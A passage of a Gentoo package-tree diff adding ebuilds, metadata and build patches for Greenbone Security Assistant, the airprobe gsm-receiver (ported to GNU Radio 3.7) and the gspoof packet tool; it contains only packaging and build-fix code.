+ -e '/^install.*OPENVAS_CACHE_DIR.*/d' \
+ -i CMakeLists.txt || die
+ cmake-utils_src_prepare
+}
+
+src_configure() {
+ local mycmakeargs=(
+ -DLOCALSTATEDIR="${EPREFIX}/var"
+ -DSYSCONFDIR="${EPREFIX}/etc"
+ )
+ cmake-utils_src_configure
+}
+
+src_install() {
+ cmake-utils_src_install
+ newinitd "${FILESDIR}"/${MY_PN}.init ${MY_PN}
+
+ insinto /etc/openvas
+ doins "${FILESDIR}"/${MY_PN}-daemon.conf
+ dosym ../openvas/${MY_PN}-daemon.conf /etc/conf.d/${PN}
+
+ insinto /etc/logrotate.d
+ doins "${FILESDIR}"/${MY_PN}.logrotate
+
+ systemd_newtmpfilesd "${FILESDIR}"/${MY_PN}.tmpfiles.d ${MY_PN}.conf
+ systemd_dounit "${FILESDIR}"/${MY_PN}.service
+}
diff --git a/net-analyzer/greenbone-security-assistant/greenbone-security-assistant-6.0.3.ebuild b/net-analyzer/greenbone-security-assistant/greenbone-security-assistant-6.0.3.ebuild
new file mode 100644
index 000000000000..b7d6ca2460fc
--- /dev/null
+++ b/net-analyzer/greenbone-security-assistant/greenbone-security-assistant-6.0.3.ebuild
@@ -0,0 +1,64 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit cmake-utils systemd
+
+MY_PN=gsad
+
+DL_ID=2079
+
+DESCRIPTION="Greenbone Security Assistant for openvas"
+HOMEPAGE="http://www.openvas.org/"
+SRC_URI="http://wald.intevation.org/frs/download.php/${DL_ID}/${P}.tar.gz"
+
+SLOT="0"
+LICENSE="GPL-2+ BSD MIT"
+KEYWORDS=" ~amd64 ~arm ~ppc ~x86"
+IUSE=""
+
+RDEPEND="
+ dev-libs/libgcrypt:0
+ dev-libs/libxslt
+ >=net-analyzer/openvas-libraries-8.0.3
+ net-libs/libmicrohttpd[messages]"
+DEPEND="${RDEPEND}
+ virtual/pkgconfig"
+
+PATCHES=(
+ "${FILESDIR}"/${PN}-5.0.3-run.patch
+ )
+
+S="${WORKDIR}"/${P}
+
+src_prepare() {
+ sed \
+ -e '/^install.*OPENVAS_CACHE_DIR.*/d' \
+ -i CMakeLists.txt || die
+ cmake-utils_src_prepare
+}
+
+src_configure() {
+ local mycmakeargs=(
+ -DLOCALSTATEDIR="${EPREFIX}/var"
+ -DSYSCONFDIR="${EPREFIX}/etc"
+ )
+ cmake-utils_src_configure
+}
+
+src_install() {
+ cmake-utils_src_install
+ newinitd "${FILESDIR}"/${MY_PN}.init ${MY_PN}
+
+ insinto /etc/openvas
+ doins "${FILESDIR}"/${MY_PN}-daemon.conf
+ dosym ../openvas/${MY_PN}-daemon.conf /etc/conf.d/${PN}
+
+ insinto /etc/logrotate.d
+ doins "${FILESDIR}"/${MY_PN}.logrotate
+
+ systemd_newtmpfilesd "${FILESDIR}"/${MY_PN}.tmpfiles.d ${MY_PN}.conf
+ systemd_dounit "${FILESDIR}"/${MY_PN}.service
+}
diff --git a/net-analyzer/greenbone-security-assistant/greenbone-security-assistant-6.0.4.ebuild b/net-analyzer/greenbone-security-assistant/greenbone-security-assistant-6.0.4.ebuild
new file mode 100644
index 000000000000..641baefc1e7c
--- /dev/null
+++ b/net-analyzer/greenbone-security-assistant/greenbone-security-assistant-6.0.4.ebuild
@@ -0,0 +1,64 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit cmake-utils systemd
+
+MY_PN=gsad
+
+DL_ID=2137
+
+DESCRIPTION="Greenbone Security Assistant for openvas"
+HOMEPAGE="http://www.openvas.org/"
+SRC_URI="http://wald.intevation.org/frs/download.php/${DL_ID}/${P}.tar.gz"
+
+SLOT="0"
+LICENSE="GPL-2+ BSD MIT"
+KEYWORDS=" ~amd64 ~arm ~ppc ~x86"
+IUSE=""
+
+RDEPEND="
+ dev-libs/libgcrypt:0
+ dev-libs/libxslt
+ >=net-analyzer/openvas-libraries-8.0.3
+ net-libs/libmicrohttpd[messages]"
+DEPEND="${RDEPEND}
+ virtual/pkgconfig"
+
+PATCHES=(
+ "${FILESDIR}"/${PN}-5.0.3-run.patch
+ )
+
+S="${WORKDIR}"/${P}
+
+src_prepare() {
+ sed \
+ -e '/^install.*OPENVAS_CACHE_DIR.*/d' \
+ -i CMakeLists.txt || die
+ cmake-utils_src_prepare
+}
+
+src_configure() {
+ local mycmakeargs=(
+ -DLOCALSTATEDIR="${EPREFIX}/var"
+ -DSYSCONFDIR="${EPREFIX}/etc"
+ )
+ cmake-utils_src_configure
+}
+
+src_install() {
+ cmake-utils_src_install
+ newinitd "${FILESDIR}"/${MY_PN}.init ${MY_PN}
+
+ insinto /etc/openvas
+ doins "${FILESDIR}"/${MY_PN}-daemon.conf
+ dosym ../openvas/${MY_PN}-daemon.conf /etc/conf.d/${PN}
+
+ insinto /etc/logrotate.d
+ doins "${FILESDIR}"/${MY_PN}.logrotate
+
+ systemd_newtmpfilesd "${FILESDIR}"/${MY_PN}.tmpfiles.d ${MY_PN}.conf
+ systemd_dounit "${FILESDIR}"/${MY_PN}.service
+}
diff --git a/net-analyzer/greenbone-security-assistant/greenbone-security-assistant-6.0.5.ebuild b/net-analyzer/greenbone-security-assistant/greenbone-security-assistant-6.0.5.ebuild
new file mode 100644
index 000000000000..9b4881eb10bc
--- /dev/null
+++ b/net-analyzer/greenbone-security-assistant/greenbone-security-assistant-6.0.5.ebuild
@@ -0,0 +1,64 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit cmake-utils systemd
+
+MY_PN=gsad
+
+DL_ID=2173
+
+DESCRIPTION="Greenbone Security Assistant for openvas"
+HOMEPAGE="http://www.openvas.org/"
+SRC_URI="http://wald.intevation.org/frs/download.php/${DL_ID}/${P}.tar.gz"
+
+SLOT="0"
+LICENSE="GPL-2+ BSD MIT"
+KEYWORDS=" ~amd64 ~arm ~ppc ~x86"
+IUSE=""
+
+RDEPEND="
+ dev-libs/libgcrypt:0
+ dev-libs/libxslt
+ >=net-analyzer/openvas-libraries-8.0.3
+ net-libs/libmicrohttpd[messages]"
+DEPEND="${RDEPEND}
+ virtual/pkgconfig"
+
+PATCHES=(
+ "${FILESDIR}"/${PN}-5.0.3-run.patch
+ )
+
+S="${WORKDIR}"/${P}
+
+src_prepare() {
+ sed \
+ -e '/^install.*OPENVAS_CACHE_DIR.*/d' \
+ -i CMakeLists.txt || die
+ cmake-utils_src_prepare
+}
+
+src_configure() {
+ local mycmakeargs=(
+ -DLOCALSTATEDIR="${EPREFIX}/var"
+ -DSYSCONFDIR="${EPREFIX}/etc"
+ )
+ cmake-utils_src_configure
+}
+
+src_install() {
+ cmake-utils_src_install
+ newinitd "${FILESDIR}"/${MY_PN}.init ${MY_PN}
+
+ insinto /etc/openvas
+ doins "${FILESDIR}"/${MY_PN}-daemon.conf
+ dosym ../openvas/${MY_PN}-daemon.conf /etc/conf.d/${PN}
+
+ insinto /etc/logrotate.d
+ doins "${FILESDIR}"/${MY_PN}.logrotate
+
+ systemd_newtmpfilesd "${FILESDIR}"/${MY_PN}.tmpfiles.d ${MY_PN}.conf
+ systemd_dounit "${FILESDIR}"/${MY_PN}.service
+}
diff --git a/net-analyzer/greenbone-security-assistant/metadata.xml b/net-analyzer/greenbone-security-assistant/metadata.xml
new file mode 100644
index 000000000000..45b99c65fb75
--- /dev/null
+++ b/net-analyzer/greenbone-security-assistant/metadata.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>hanno@gentoo.org</email>
+ </maintainer>
+</pkgmetadata>
diff --git a/net-analyzer/gsm-receiver/files/0001-gsm-receiver-build-against-gnuradio-3.7.patch b/net-analyzer/gsm-receiver/files/0001-gsm-receiver-build-against-gnuradio-3.7.patch
new file mode 100644
index 000000000000..b7683f38b683
--- /dev/null
+++ b/net-analyzer/gsm-receiver/files/0001-gsm-receiver-build-against-gnuradio-3.7.patch
@@ -0,0 +1,323 @@
+From c9809ac05224ccf3a7fce1dda8c7eddedbbf3a56 Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Ch=C3=AD-Thanh=20Christopher=20Nguy=E1=BB=85n?=
+ <chithanh@gentoo.org>
+Date: Wed, 5 Feb 2014 03:21:37 +0100
+Subject: [PATCH] gsm-receiver: build against gnuradio-3.7
+
+This is the result of blindly following
+http://gnuradio.org/redmine/projects/gnuradio/wiki/Move_3-6_to_3-7
+The result builds, but it may or may not work.
+---
+ gsm-receiver/Makefile.common | 7 ++--
+ gsm-receiver/config/Makefile.am | 2 +-
+ .../config/gr_libgnuradio_core_extra_ldflags.m4 | 40 ----------------------
+ .../config/gr_libgnuradio_runtime_extra_ldflags.m4 | 40 ++++++++++++++++++++++
+ gsm-receiver/config/gr_standalone.m4 | 5 ++-
+ gsm-receiver/gsm-receiver.pc.in | 2 +-
+ gsm-receiver/src/lib/gsm.i | 15 ++++++--
+ gsm-receiver/src/lib/gsm_receiver_cf.cc | 16 ++++-----
+ gsm-receiver/src/lib/gsm_receiver_cf.h | 18 +++++-----
+ 9 files changed, 76 insertions(+), 69 deletions(-)
+ delete mode 100644 gsm-receiver/config/gr_libgnuradio_core_extra_ldflags.m4
+ create mode 100644 gsm-receiver/config/gr_libgnuradio_runtime_extra_ldflags.m4
+
+diff --git a/gsm-receiver/Makefile.common b/gsm-receiver/Makefile.common
+index b5dcb2e..0592f70 100644
+--- a/gsm-receiver/Makefile.common
++++ b/gsm-receiver/Makefile.common
+@@ -28,7 +28,7 @@ AM_CPPFLAGS = \
+ $(STD_DEFINES_AND_INCLUDES) \
+ $(PYTHON_CPPFLAGS) \
+ $(CPPUNIT_INCLUDES) \
+- $(GNURADIO_CORE_CPPFLAGS)
++ $(GNURADIO_RUNTIME_CPPFLAGS)
+
+ #!! remove this
+ TCH_DECODER_INCLUDEDIR = $(top_srcdir)/src/lib/decoder/openbtsstuff
+@@ -36,9 +36,8 @@ TCH_DECODER_INCLUDEDIR = $(top_srcdir)/src/lib/decoder/openbtsstuff
+ STD_DEFINES_AND_INCLUDES = \
+ -I$(DECODER_INCLUDEDIR) \
+ -I$(MAIN_INCLUDEDIR) \
+- -I$(GNURADIO_CORE_INCLUDEDIR) \
+- -I$(GNURADIO_CORE_INCLUDEDIR)/swig \
+- -I$(GRUEL_INCLUDEDIR)/gruel/swig \
++ -I$(GNURADIO_RUNTIME_INCLUDEDIR) \
++ -I$(GNURADIO_RUNTIME_INCLUDEDIR)/gnuradio/swig \
+ $(LIBOSMOCORE_CFLAGS) \
+ -I$(TCH_DECODER_INCLUDEDIR)
+
+diff --git a/gsm-receiver/config/Makefile.am b/gsm-receiver/config/Makefile.am
+index 5858d22..1fdc0e5 100644
+--- a/gsm-receiver/config/Makefile.am
++++ b/gsm-receiver/config/Makefile.am
+@@ -51,7 +51,7 @@ m4macros = \
+ gr_fortran.m4 \
+ gr_gprof.m4 \
+ gr_lib64.m4 \
+- gr_libgnuradio_core_extra_ldflags.m4 \
++ gr_libgnuradio_runtime_extra_ldflags.m4 \
+ gr_no_undefined.m4 \
+ gr_omnithread.m4 \
+ gr_pwin32.m4 \
+diff --git a/gsm-receiver/config/gr_libgnuradio_core_extra_ldflags.m4 b/gsm-receiver/config/gr_libgnuradio_core_extra_ldflags.m4
+deleted file mode 100644
+index 43f872c..0000000
+--- a/gsm-receiver/config/gr_libgnuradio_core_extra_ldflags.m4
++++ /dev/null
+@@ -1,40 +0,0 @@
+-# Check for (MinGW)win32 extra ld options. -*- Autoconf -*-
+-
+-# Copyright 2003,2004,2005 Free Software Foundation, Inc.
+-#
+-# This file is part of GNU Radio
+-#
+-# GNU Radio is free software; you can redistribute it and/or modify
+-# it under the terms of the GNU General Public License as published by
+-# the Free Software Foundation; either version 3, or (at your option)
+-# any later version.
+-#
+-# GNU Radio is distributed in the hope that it will be useful,
+-# but WITHOUT ANY WARRANTY; without even the implied warranty of
+-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+-# GNU General Public License for more details.
+-#
+-# You should have received a copy of the GNU General Public License
+-# along with GNU Radio; see the file COPYING. If not, write to
+-# the Free Software Foundation, Inc., 51 Franklin Street,
+-# Boston, MA 02110-1301, USA.
+-
+-dnl
+-AC_DEFUN([GR_LIBGNURADIO_CORE_EXTRA_LDFLAGS], [
+-AC_REQUIRE([AC_PROG_LD])
+-# on Mingw32 extra LDFLAGS are required to ease global variable linking
+-LIBGNURADIO_CORE_EXTRA_LDFLAGS=""
+-
+-AC_MSG_CHECKING([whether $LD accepts --enable-runtime-pseudo-reloc])
+-if ${LD} --enable-runtime-pseudo-reloc --version >/dev/null 2>&1
+-then
+- # libtool requires the quotes
+- LIBGNURADIO_CORE_EXTRA_LDFLAGS="\"-Wl,--enable-runtime-pseudo-reloc\""
+- AC_MSG_RESULT(yes)
+-else
+- AC_MSG_RESULT(no)
+-fi
+-
+-AC_SUBST(LIBGNURADIO_CORE_EXTRA_LDFLAGS)
+-
+-])
+diff --git a/gsm-receiver/config/gr_libgnuradio_runtime_extra_ldflags.m4 b/gsm-receiver/config/gr_libgnuradio_runtime_extra_ldflags.m4
+new file mode 100644
+index 0000000..92e8c97
+--- /dev/null
++++ b/gsm-receiver/config/gr_libgnuradio_runtime_extra_ldflags.m4
+@@ -0,0 +1,40 @@
++# Check for (MinGW)win32 extra ld options. -*- Autoconf -*-
++
++# Copyright 2003,2004,2005 Free Software Foundation, Inc.
++#
++# This file is part of GNU Radio
++#
++# GNU Radio is free software; you can redistribute it and/or modify
++# it under the terms of the GNU General Public License as published by
++# the Free Software Foundation; either version 3, or (at your option)
++# any later version.
++#
++# GNU Radio is distributed in the hope that it will be useful,
++# but WITHOUT ANY WARRANTY; without even the implied warranty of
++# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++# GNU General Public License for more details.
++#
++# You should have received a copy of the GNU General Public License
++# along with GNU Radio; see the file COPYING. If not, write to
++# the Free Software Foundation, Inc., 51 Franklin Street,
++# Boston, MA 02110-1301, USA.
++
++dnl
++AC_DEFUN([GR_LIBGNURADIO_RUNTIME_EXTRA_LDFLAGS], [
++AC_REQUIRE([AC_PROG_LD])
++# on Mingw32 extra LDFLAGS are required to ease global variable linking
++LIBGNURADIO_RUNTIME_EXTRA_LDFLAGS=""
++
++AC_MSG_CHECKING([whether $LD accepts --enable-runtime-pseudo-reloc])
++if ${LD} --enable-runtime-pseudo-reloc --version >/dev/null 2>&1
++then
++ # libtool requires the quotes
++ LIBGNURADIO_RUNTIME_EXTRA_LDFLAGS="\"-Wl,--enable-runtime-pseudo-reloc\""
++ AC_MSG_RESULT(yes)
++else
++ AC_MSG_RESULT(no)
++fi
++
++AC_SUBST(LIBGNURADIO_RUNTIME_EXTRA_LDFLAGS)
++
++])
+diff --git a/gsm-receiver/config/gr_standalone.m4 b/gsm-receiver/config/gr_standalone.m4
+index 4e097d2..14f286c 100644
+--- a/gsm-receiver/config/gr_standalone.m4
++++ b/gsm-receiver/config/gr_standalone.m4
+@@ -114,7 +114,6 @@ m4_define([GR_STANDALONE],
+ AC_CHECK_PROG([XMLTO],[xmlto],[yes],[])
+ AM_CONDITIONAL([HAS_XMLTO], [test x$XMLTO = xyes])
+
+- PKG_CHECK_MODULES(GNURADIO_CORE, gnuradio-core >= 3)
+- LIBS="$LIBS $GNURADIO_CORE_LIBS"
+- PKG_CHECK_MODULES(GRUEL, gruel >= 3)
++ PKG_CHECK_MODULES(GNURADIO_RUNTIME, gnuradio-runtime >= 3)
++ LIBS="$LIBS $GNURADIO_RUNTIME_LIBS"
+ ])
+diff --git a/gsm-receiver/gsm-receiver.pc.in b/gsm-receiver/gsm-receiver.pc.in
+index 0a18d4b..9ceca56 100644
+--- a/gsm-receiver/gsm-receiver.pc.in
++++ b/gsm-receiver/gsm-receiver.pc.in
+@@ -5,7 +5,7 @@ includedir=@includedir@
+
+ Name: gsm-receiver
+ Description: The GSM receiver block which does FCCH burst search, sch decoding and normal burst demodulation
+-Requires: gnuradio-core
++Requires: gnuradio-runtime
+ Version: @VERSION@
+ Libs: -L${libdir} -lgsm-receiver
+ Cflags: -I${includedir}
+diff --git a/gsm-receiver/src/lib/gsm.i b/gsm-receiver/src/lib/gsm.i
+index b3c1d81..3f58e16 100644
+--- a/gsm-receiver/src/lib/gsm.i
++++ b/gsm-receiver/src/lib/gsm.i
+@@ -37,18 +37,27 @@
+ #include "gsm_receiver_cf.h"
+ #include <stdexcept>
+ /* #include "gsm_constants.h" */
++#include <gnuradio/block.h>
++#include <gnuradio/sync_block.h>
++#include <gnuradio/sync_decimator.h>
++#include <gnuradio/sync_interpolator.h>
++#include <gnuradio/tagged_stream_block.h>
++#include <gnuradio/block_gateway.h>
++#include <gnuradio/feval.h>
++#include <gnuradio/py_feval.h>
++#include <gnuradio/high_res_timer.h>
+ %}
+
+ // ----------------------------------------------------------------
+
+ GR_SWIG_BLOCK_MAGIC(gsm,receiver_cf);
+
+-gsm_receiver_cf_sptr gsm_make_receiver_cf ( gr_feval_dd *tuner, gr_feval_dd *synchronizer, int osr, std::string key, std::string configuration);
++gsm_receiver_cf_sptr gsm_make_receiver_cf ( gr::feval_dd *tuner, gr::feval_dd *synchronizer, int osr, std::string key, std::string configuration);
+
+-class gsm_receiver_cf : public gr_block
++class gsm_receiver_cf : public gr::block
+ {
+ private:
+- gsm_receiver_cf ( gr_feval_dd *tuner, gr_feval_dd *synchronizer, int osr);
++ gsm_receiver_cf ( gr::feval_dd *tuner, gr::feval_dd *synchronizer, int osr);
+ };
+
+ // ----------------------------------------------------------------
+diff --git a/gsm-receiver/src/lib/gsm_receiver_cf.cc b/gsm-receiver/src/lib/gsm_receiver_cf.cc
+index b4e7a69..6bfdf5d 100644
+--- a/gsm-receiver/src/lib/gsm_receiver_cf.cc
++++ b/gsm-receiver/src/lib/gsm_receiver_cf.cc
+@@ -24,8 +24,8 @@
+ #include "config.h"
+ #endif
+
+-#include <gr_io_signature.h>
+-#include <gr_math.h>
++#include <gnuradio/io_signature.h>
++#include <gnuradio/math.h>
+ #include <math.h>
+ #include <Assert.h>
+ #include <boost/circular_buffer.hpp>
+@@ -289,7 +289,7 @@ typedef std::vector<float> vector_float;
+ typedef boost::circular_buffer<float> circular_buffer_float;
+
+ gsm_receiver_cf_sptr
+-gsm_make_receiver_cf(gr_feval_dd *tuner, gr_feval_dd *synchronizer, int osr, std::string key, std::string configuration)
++gsm_make_receiver_cf(gr::feval_dd *tuner, gr::feval_dd *synchronizer, int osr, std::string key, std::string configuration)
+ {
+ return gsm_receiver_cf_sptr(new gsm_receiver_cf(tuner, synchronizer, osr, key, configuration));
+ }
+@@ -302,10 +302,10 @@ static const int MAX_OUT = 1; // maximum number of output streams
+ /*
+ * The private constructor
+ */
+-gsm_receiver_cf::gsm_receiver_cf(gr_feval_dd *tuner, gr_feval_dd *synchronizer, int osr, std::string key, std::string configuration)
+- : gr_block("gsm_receiver",
+- gr_make_io_signature(MIN_IN, MAX_IN, sizeof(gr_complex)),
+- gr_make_io_signature(MIN_OUT, MAX_OUT, 142 * sizeof(float))),
++gsm_receiver_cf::gsm_receiver_cf(gr::feval_dd *tuner, gr::feval_dd *synchronizer, int osr, std::string key, std::string configuration)
++ : gr::block("gsm_receiver",
++ gr::io_signature::make(MIN_IN, MAX_IN, sizeof(gr_complex)),
++ gr::io_signature::make(MIN_OUT, MAX_OUT, 142 * sizeof(float))),
+ d_OSR(osr),
+ d_chan_imp_length(CHAN_IMP_RESP_LENGTH),
+ d_tuner(tuner),
+@@ -751,7 +751,7 @@ void gsm_receiver_cf::set_frequency(double freq_offset)
+ inline float gsm_receiver_cf::compute_phase_diff(gr_complex val1, gr_complex val2)
+ {
+ gr_complex conjprod = val1 * conj(val2);
+- return gr_fast_atan2f(imag(conjprod), real(conjprod));
++ return gr::fast_atan2f(imag(conjprod), real(conjprod));
+ }
+
+ bool gsm_receiver_cf::reach_sch_burst(const int nitems)
+diff --git a/gsm-receiver/src/lib/gsm_receiver_cf.h b/gsm-receiver/src/lib/gsm_receiver_cf.h
+index 039a774..3478585 100644
+--- a/gsm-receiver/src/lib/gsm_receiver_cf.h
++++ b/gsm-receiver/src/lib/gsm_receiver_cf.h
+@@ -24,9 +24,9 @@
+
+ #include <vector>
+ #include <list>
+-#include <gr_block.h>
+-#include <gr_complex.h>
+-#include <gr_feval.h>
++#include <gnuradio/block.h>
++#include <gnuradio/gr_complex.h>
++#include <gnuradio/feval.h>
+ #include <gsm_constants.h>
+ #include <gsm_receiver_config.h>
+
+@@ -42,7 +42,7 @@ class gsm_receiver_cf;
+ typedef boost::shared_ptr<gsm_receiver_cf> gsm_receiver_cf_sptr;
+ typedef std::vector<gr_complex> vector_complex;
+
+-gsm_receiver_cf_sptr gsm_make_receiver_cf(gr_feval_dd *tuner, gr_feval_dd *synchronizer, int osr, std::string key, std::string configuration);
++gsm_receiver_cf_sptr gsm_make_receiver_cf(gr::feval_dd *tuner, gr::feval_dd *synchronizer, int osr, std::string key, std::string configuration);
+
+ /** GSM Receiver GNU Radio block
+ *
+@@ -52,7 +52,7 @@ gsm_receiver_cf_sptr gsm_make_receiver_cf(gr_feval_dd *tuner, gr_feval_dd *synch
+ * \ingroup block
+ */
+
+-class gsm_receiver_cf : public gr_block
++class gsm_receiver_cf : public gr::block
+ {
+ private:
+ std::map<char,int> d_hex_to_int;
+@@ -76,8 +76,8 @@ class gsm_receiver_cf : public gr_block
+ gr_complex d_sch_training_seq[N_SYNC_BITS]; ///<encoded training sequence of a SCH burst
+ gr_complex d_norm_training_seq[TRAIN_SEQ_NUM][N_TRAIN_BITS]; ///<encoded training sequences of a normal bursts and dummy bursts
+
+- gr_feval_dd *d_tuner; ///<callback to a python object which is used for frequency tunning
+- gr_feval_dd *d_synchronizer; ///<callback to a python object which is used to correct offset of USRP's internal clock
++ gr::feval_dd *d_tuner; ///<callback to a python object which is used for frequency tunning
++ gr::feval_dd *d_synchronizer; ///<callback to a python object which is used to correct offset of USRP's internal clock
+
+ /** Countes samples consumed by the receiver
+ *
+@@ -120,8 +120,8 @@ class gsm_receiver_cf : public gr_block
+ // GSM Stack
+ GS_CTX d_gs_ctx;//TODO: remove it! it'a not right place for a decoder
+
+- friend gsm_receiver_cf_sptr gsm_make_receiver_cf(gr_feval_dd *tuner, gr_feval_dd *synchronizer, int osr, std::string key, std::string configuration);
+- gsm_receiver_cf(gr_feval_dd *tuner, gr_feval_dd *synchronizer, int osr, std::string key, std::string configuration);
++ friend gsm_receiver_cf_sptr gsm_make_receiver_cf(gr::feval_dd *tuner, gr::feval_dd *synchronizer, int osr, std::string key, std::string configuration);
++ gsm_receiver_cf(gr::feval_dd *tuner, gr::feval_dd *synchronizer, int osr, std::string key, std::string configuration);
+
+ /** Function whis is used to search a FCCH burst and to compute frequency offset before
+ * "synchronized" state of the receiver
+--
+1.8.3.2
+
diff --git a/net-analyzer/gsm-receiver/gsm-receiver-9999.ebuild b/net-analyzer/gsm-receiver/gsm-receiver-9999.ebuild
new file mode 100644
index 000000000000..80ead399238d
--- /dev/null
+++ b/net-analyzer/gsm-receiver/gsm-receiver-9999.ebuild
@@ -0,0 +1,45 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+PYTHON_COMPAT=( python2_7 )
+
+inherit autotools git-2 python-single-r1
+
+DESCRIPTION="GSM receiver block from the airprobe suite"
+HOMEPAGE="https://svn.berlin.ccc.de/projects/airprobe/"
+SRC_URI=""
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS=""
+IUSE=""
+
+RDEPEND="net-libs/libosmocore
+ >=net-wireless/gnuradio-3.7_rc:0="
+DEPEND="${RDEPEND}
+ virtual/pkgconfig"
+
+EGIT_REPO_URI="git://git.gnumonks.org/airprobe.git"
+EGIT_SOURCEDIR="${S}"
+S+=/${PN}
+
+src_prepare() {
+ epatch "${FILESDIR}"/0001-${PN}-build-against-gnuradio-3.7.patch
+ python_fix_shebang "${S}"
+ eautoreconf
+}
+
+src_configure() {
+ # fails to create .deps directory without dependency tracking
+ econf --enable-dependency-tracking
+}
+
+src_install() {
+ default
+
+ dobin src/python/*.py
+ insinto /usr/share/doc/${PF}/examples
+ doins src/python/*.sh
+}
diff --git a/net-analyzer/gsm-receiver/metadata.xml b/net-analyzer/gsm-receiver/metadata.xml
new file mode 100644
index 000000000000..c1b4dee070d2
--- /dev/null
+++ b/net-analyzer/gsm-receiver/metadata.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>radio</herd>
+</pkgmetadata>
+
diff --git a/net-analyzer/gspoof/Manifest b/net-analyzer/gspoof/Manifest
new file mode 100644
index 000000000000..fc1a8b2e8a50
--- /dev/null
+++ b/net-analyzer/gspoof/Manifest
@@ -0,0 +1 @@
+DIST gspoof-3.2.tar.gz 69340 SHA256 65f12bf8ca23d3fa6af0cedda4fb6c28c955a909e1787bd5dda14404a0280019
diff --git a/net-analyzer/gspoof/files/gspoof-3.2-icon.patch b/net-analyzer/gspoof/files/gspoof-3.2-icon.patch
new file mode 100644
index 000000000000..df13a08677db
--- /dev/null
+++ b/net-analyzer/gspoof/files/gspoof-3.2-icon.patch
@@ -0,0 +1,71 @@
+Fix icon path and name.
+
+--- gtk.c
++++ gtk.c
+@@ -24,9 +24,7 @@
+ gtk_set_locale ();
+ gtk_init (&_argc, &_argv);
+
+- add_pixmap_directory ("pixmap");
+- add_pixmap_directory ("/usr/local/share/gspoof/pixmap");
+- add_pixmap_directory ("/usr/share/gspoof/pixmap");
++ add_pixmap_directory ("/usr/share/pixmaps");
+
+ MainWin = create_MainWin();
+
+--- interface.c
++++ interface.c
+@@ -102,7 +102,7 @@
+ gtk_widget_set_size_request (MainWin, 640, 480);
+ gtk_window_set_title (GTK_WINDOW (MainWin), BANNER);
+ gtk_window_set_position (GTK_WINDOW (MainWin), GTK_WIN_POS_CENTER);
+- MainWin_icon_pixbuf = create_pixbuf ("icon.png");
++ MainWin_icon_pixbuf = create_pixbuf ("gspoof.png");
+ if (MainWin_icon_pixbuf)
+ {
+ gtk_window_set_icon (GTK_WINDOW (MainWin), MainWin_icon_pixbuf);
+@@ -663,7 +663,7 @@
+ gtk_widget_set_extension_events (DataWin, GDK_EXTENSION_EVENTS_CURSOR);
+ gtk_window_set_title (GTK_WINDOW (DataWin), _("Payload options"));
+ gtk_window_set_position (GTK_WINDOW (DataWin), GTK_WIN_POS_CENTER);
+- DataWin_icon_pixbuf = create_pixbuf ("icon.png");
++ DataWin_icon_pixbuf = create_pixbuf ("gspoof.png");
+ if (DataWin_icon_pixbuf)
+ {
+ gtk_window_set_icon (GTK_WINDOW (DataWin), DataWin_icon_pixbuf);
+@@ -754,7 +754,7 @@
+ gtk_window_set_title (GTK_WINDOW (MultiPackets), _("Pseudo-flood options"));
+ gtk_window_set_position (GTK_WINDOW (MultiPackets), GTK_WIN_POS_CENTER);
+ gtk_window_set_resizable (GTK_WINDOW (MultiPackets), FALSE);
+- MultiPackets_icon_pixbuf = create_pixbuf ("icon.png");
++ MultiPackets_icon_pixbuf = create_pixbuf ("gspoof.png");
+ if (MultiPackets_icon_pixbuf)
+ {
+ gtk_window_set_icon (GTK_WINDOW (MultiPackets), MultiPackets_icon_pixbuf);
+@@ -884,7 +884,7 @@
+ gtk_window_set_position (GTK_WINDOW (AboutWin), GTK_WIN_POS_CENTER);
+ gtk_window_set_default_size (GTK_WINDOW (AboutWin), 350, 200);
+ gtk_window_set_resizable (GTK_WINDOW (AboutWin), FALSE);
+- AboutWin_icon_pixbuf = create_pixbuf ("icon.png");
++ AboutWin_icon_pixbuf = create_pixbuf ("gspoof.png");
+ if (AboutWin_icon_pixbuf)
+ {
+ gtk_window_set_icon (GTK_WINDOW (AboutWin), AboutWin_icon_pixbuf);
+@@ -896,7 +896,7 @@
+ gtk_container_add (GTK_CONTAINER (AboutWin), hbox1);
+ gtk_container_set_border_width (GTK_CONTAINER (hbox1), 2);
+
+- image16 = create_pixmap (AboutWin, "icon.png");
++ image16 = create_pixmap (AboutWin, "gspoof.png");
+ gtk_widget_show (image16);
+ gtk_box_pack_start (GTK_BOX (hbox1), image16, TRUE, TRUE, 0);
+
+@@ -936,7 +936,7 @@
+ gtk_widget_set_size_request (ECNWin, -1, 90);
+ gtk_window_set_title (GTK_WINDOW (ECNWin), _("ECN options"));
+ gtk_window_set_position (GTK_WINDOW (ECNWin), GTK_WIN_POS_CENTER);
+- ECNWin_icon_pixbuf = create_pixbuf ("icon.png");
++ ECNWin_icon_pixbuf = create_pixbuf ("gspoof.png");
+ if (ECNWin_icon_pixbuf)
+ {
+ gtk_window_set_icon (GTK_WINDOW (ECNWin), ECNWin_icon_pixbuf);
diff --git a/net-analyzer/gspoof/files/gspoof-def-values.patch b/net-analyzer/gspoof/files/gspoof-def-values.patch
new file mode 100644
index 000000000000..442f8e821b01
--- /dev/null
+++ b/net-analyzer/gspoof/files/gspoof-def-values.patch
@@ -0,0 +1,29 @@
+diff -Naurp gspoof-3.2-orig/gfuncts.c gspoof-3.2/gfuncts.c
+--- gspoof-3.2-orig/gfuncts.c 2006-09-15 16:39:59.000000000 +0200
++++ gspoof-3.2/gfuncts.c 2006-09-15 17:20:49.000000000 +0200
